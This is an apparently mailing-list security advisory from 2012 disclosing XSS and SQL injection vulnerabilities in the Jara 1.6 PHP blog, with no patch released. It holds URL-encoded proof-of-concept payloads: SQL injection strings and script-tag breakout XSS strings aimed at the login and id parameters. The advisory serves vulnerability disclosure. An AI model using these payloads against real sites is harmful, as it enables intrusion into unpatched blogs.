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Date: Wed, 22 Aug 2012 12:33:37 +0300
From: Netsparker Advisories <>
Subject: XSS and SQL Injection Vulnerabilities in Jara

Name :  XSS and SQL Injection Vulnerabilities in Jara
Software :  Jara 1.6 and possibly below.
Vendor Homepage :
Vulnerability Type :  Cross-Site Scripting and SQL Injection
Severity :  Critical
Researcher :  Canberk Bolat
Advisory Reference :  NS-12-009

An open source simple blog utilising the features of PHP 5 and MySQL
5. Supports multiple writers, categories, managing posts, static
content pages and post comments as well as providing an intuitive
administration panel.

Jara is affected by XSS and SQL Injection vulnerabilities in version 1.6.

Example PoC urls are as follows :

SQL Injection Vulnerabilities (POST - username) (POST - password)'%2BNSFTW%2B''%2BNSFTW%2B''%2BNSFTW%2B''%2BNSFTW%2B''%2BNSFTW%2B''%2BNSFTW%2B' (POST - id) (POST - id)

XSS Vulnerabilities'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0031F8)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003214)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0032D5)%3C/script%3E (POST - username) (POST - password)'%3E%3Cscript%3Enetsparker(9)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003548)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0034CE)%3C/script%3E'%3E%3Cscript%3Enetsparker(9)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0034D5)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003542)%3C/script%3E'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003569)%3C/script%3E'%3E%3Cscript%3Enetsparker(9)%3C/script%3E

You can read the full article about Cross-Site Scripting and SQL
Injection vulnerabilities from here :

Cross-site Scripting:
SQL Injection:

No patch released.

Advisory Timeline
19/11/2011 - Couldn’t found a contact e-mail
22/08/2012 - Vulnerability Released

It has been discovered on testing of Netsparker, Web Application
Security Scanner -

MSL Advisory Link :
Netsparker Advisories :

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